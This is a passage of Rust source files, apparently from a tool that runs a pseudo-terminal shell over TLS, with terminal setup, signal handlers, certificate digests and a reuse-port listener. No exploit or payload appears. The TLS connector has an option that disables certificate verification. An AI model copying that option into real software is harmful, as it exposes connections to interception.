18 | } else { 19 | Ok(winsize.assume_init()) 20 | } 21 | } 22 | } 23 | 24 | fn set_winsize(fd: RawFd, winsize: &winsize) -> Result<()> { 25 | if unsafe { ioctl(fd, TIOCSWINSZ, winsize) } != 0 { 26 | Err(Error::last_os_error()) 27 | } else { 28 | Ok(()) 29 | } 30 | } 31 | 32 | fn get_termios(fd: RawFd) -> Result { 33 | let mut termios = MaybeUninit::uninit(); 34 | unsafe { 35 | if tcgetattr(fd, termios.as_mut_ptr()) != 0 { 36 | Err(Error::last_os_error()) 37 | } else { 38 | Ok(termios.assume_init()) 39 | } 40 | } 41 | } 42 | 43 | fn set_termios(fd: RawFd, termios: &termios) -> Result<()> { 44 | if unsafe { tcsetattr(fd, TCSANOW, termios) } != 0 { 45 | Err(Error::last_os_error()) 46 | } else { 47 | Ok(()) 48 | } 49 | } 50 | 51 | pub fn fork_pty() -> Result<(c_int, pid_t)> { 52 | let mut amaster = 0; 53 | let (mut termios, mut winsize) = if unsafe { isatty(STDIN_FILENO) } == 1 { 54 | ( 55 | Some(get_termios(STDIN_FILENO)?), 56 | Some(get_winsize(STDIN_FILENO)?), 57 | ) 58 | } else { 59 | (None, None) 60 | }; 61 | 62 | let pid = unsafe { 63 | forkpty( 64 | &mut amaster, 65 | null_mut(), 66 | termios.as_mut_ptr(), 67 | winsize.as_mut_ptr(), 68 | ) 69 | }; 70 | if pid < 0 { 71 | Err(Error::last_os_error()) 72 | } else { 73 | Ok((amaster, pid)) 74 | } 75 | } 76 | 77 | extern "C" fn sigwinch_handler(_signal: c_int) { 78 | if let Ok(winsize) = get_winsize(STDIN_FILENO) { 79 | if let Some(pty_master) = unsafe { PTY_MASTER } { 80 | let _ = set_winsize(pty_master, &winsize); 81 | } 82 | } 83 | } 84 | 85 | extern "C" fn sigchld_handler(_signal: c_int) { 86 | unsafe { exit(0) }; 87 | } 88 | 89 | extern "C" fn sigint_handler(_signal: c_int) { 90 | unsafe { exit(0) }; 91 | } 92 | 93 | fn register_signal_handler(signal: c_int, handler: extern "C" fn(c_int)) -> Result<()> { 94 | let mut act: sigaction = unsafe { MaybeUninit::zeroed().assume_init() }; 95 | act.sa_sigaction = handler as sighandler_t; 96 | act.sa_flags = SA_RESTART; 97 | unsafe { 98 | if sigemptyset(&mut act.sa_mask) != 0 { 99 | return Err(Error::last_os_error()); 100 | } 101 | if sigaction(signal, &act, null_mut()) != 0 { 102 | return Err(Error::last_os_error()); 103 | } 104 | } 105 | Ok(()) 106 | } 107 | 108 | pub fn restore_termios() -> Result<()> { 109 | if let Some(termios) = unsafe { ORIGINAL_TERMIOS.take() } { 110 | set_termios(STDIN_FILENO, &termios) 111 | } else { 112 | Ok(()) 113 | } 114 | } 115 | 116 | extern "C" fn exit_handler() { 117 | let _ = restore_termios(); 118 | println!("exited."); 119 | } 120 | 121 | pub fn set_exit_handler() -> Result<()> { 122 | if unsafe { libc::atexit(exit_handler) } != 0 { 123 | Err(Error::last_os_error()) 124 | } else { 125 | Ok(()) 126 | } 127 | } 128 | 129 | pub fn setup_terminal(fd: RawFd, isig: bool) -> Result<()> { 130 | if unsafe { isatty(STDIN_FILENO) } == 1 { 131 | enter_raw_mode(STDIN_FILENO, isig)?; 132 | 133 | let winsize = get_winsize(STDIN_FILENO)?; 134 | set_winsize(fd, &winsize)?; 135 | 136 | register_signal_handler(SIGWINCH, sigwinch_handler)?; 137 | } 138 | 139 | register_signal_handler(SIGCHLD, sigchld_handler)?; 140 | 141 | if isig { 142 | register_signal_handler(SIGINT, sigint_handler)?; 143 | } 144 | 145 | Ok(()) 146 | } 147 | 148 | pub fn enter_raw_mode(fd: RawFd, isig: bool) -> Result<()> { 149 | let mut termios = get_termios(fd)?; 150 | unsafe { 151 | ORIGINAL_TERMIOS = Some(termios); 152 | cfmakeraw(&mut termios) 153 | }; 154 | if isig { 155 | termios.c_lflag |= ISIG; 156 | } 157 | set_termios(fd, &termios)?; 158 | Ok(()) 159 | } 160 | -------------------------------------------------------------------------------- /src/tls.rs: -------------------------------------------------------------------------------- 1 | use std::path::Path; 2 | use std::pin::Pin; 3 | 4 | use openssl::base64::encode_block; 5 | use openssl::hash::MessageDigest; 6 | use openssl::ssl::{ 7 | Ssl, SslAcceptor, SslConnector, SslContext, SslFiletype, SslMethod, SslVerifyMode, 8 | }; 9 | use tokio::net::TcpStream; 10 | use tokio_openssl::SslStream; 11 | 12 | use crate::error::Result; 13 | 14 | pub fn context_digest(ctx: &SslContext) -> Result { 15 | let digest = ctx.certificate().unwrap().digest(MessageDigest::sha256())?; 16 | Ok(encode_block(digest.as_ref())) 17 | } 18 | 19 | pub fn peer_digest(tls: &SslStream) -> Result { 20 | let digest = tls 21 | .ssl() 22 | .peer_certificate() 23 | .unwrap() 24 | .digest(MessageDigest::sha256())?; 25 | Ok(encode_block(digest.as_ref())) 26 | } 27 | pub fn acceptor_context(cert: &Path, key: &Path) -> Result { 28 | let mut acceptor_builder = SslAcceptor::mozilla_modern(SslMethod::tls_server())?; 29 | acceptor_builder.set_certificate_chain_file(cert)?; 30 | acceptor_builder.set_private_key_file(key, SslFiletype::PEM)?; 31 | 32 | let context = acceptor_builder.build().into_context(); 33 | Ok(context) 34 | } 35 | 36 | pub async fn tls_accept(stream: TcpStream, ctx: &SslContext) -> Result> { 37 | let mut ssl_stream = SslStream::new(Ssl::new(ctx.as_ref())?, stream)?; 38 | 39 | Pin::new(&mut ssl_stream).accept().await?; 40 | Ok(ssl_stream) 41 | } 42 | 43 | pub async fn tls_connect( 44 | stream: TcpStream, 45 | sni: &str, 46 | verify: bool, 47 | ) -> Result> { 48 | let mut connector_builder = SslConnector::builder(SslMethod::tls_client())?; 49 | if !verify { 50 | connector_builder.set_verify(SslVerifyMode::NONE); 51 | } 52 | 53 | let config = connector_builder.build().configure()?; 54 | let ssl = config.into_ssl(sni)?; 55 | let mut ssl_stream = SslStream::new(ssl, stream)?; 56 | 57 | Pin::new(&mut ssl_stream).connect().await?; 58 | Ok(ssl_stream) 59 | } 60 | -------------------------------------------------------------------------------- /src/util.rs: -------------------------------------------------------------------------------- 1 | use std::net::SocketAddr; 2 | use std::pin::Pin; 3 | use std::ptr::{null, null_mut}; 4 | use std::task::{Context, Poll, Poll::*}; 5 | 6 | use tokio::io::{self, AsyncRead, ReadBuf}; 7 | use tokio::net::{TcpListener, TcpSocket}; 8 | 9 | use crate::error::Result; 10 | 11 | pub trait AsPtr { 12 | fn as_ptr(&self) -> *const T; 13 | fn as_mut_ptr(&mut self) -> *mut T; 14 | } 15 | 16 | impl AsPtr for Option { 17 | fn as_ptr(&self) -> *const T { 18 | match self { 19 | Some(x) => x as *const T, 20 | None => null(), 21 | } 22 | } 23 | 24 | fn as_mut_ptr(&mut self) -> *mut T { 25 | match self { 26 | Some(x) => x as *mut T, 27 | None => null_mut(), 28 | } 29 | } 30 | } 31 | 32 | pub struct Merge { 33 | a: T, 34 | b: U, 35 | a_first: bool, 36 | } 37 | 38 | pub fn merge_reader(a: T, b: U) -> Merge 39 | where 40 | T: AsyncRead + Unpin, 41 | U: AsyncRead + Unpin, 42 | { 43 | Merge { 44 | a, 45 | b, 46 | a_first: false, 47 | } 48 | } 49 | 50 | impl AsyncRead for Merge { 51 | fn poll_read( 52 | mut self: Pin<&mut Self>, 53 | cx: &mut Context<'_>, 54 | buf: &mut ReadBuf<'_>, 55 | ) -> Poll> { 56 | let mut pending = false; 57 | 58 | loop { 59 | self.a_first = !self.a_first; 60 | 61 | return match if self.a_first { 62 | Pin::new(&mut self.a).poll_read(cx, buf) 63 | } else { 64 | Pin::new(&mut self.b).poll_read(cx, buf) 65 | } { 66 | Pending if !pending => { 67 | pending = true; 68 | continue; 69 | } 70 | x => x, 71 | }; 72 | } 73 | } 74 | } 75 | 76 | pub fn listen_reuseport(addr: SocketAddr) -> Result { 77 | let socket = match addr { 78 | SocketAddr::V4(_) => TcpSocket::new_v4(), 79 | SocketAddr::V6(_) => TcpSocket::new_v6(), 80 | }?; 81 | socket.set_reuseport(true)?; 82 | socket.bind(addr)?; 83 | Ok(socket.listen(64)?) 84 | } 85 | --------------------------------------------------------------------------------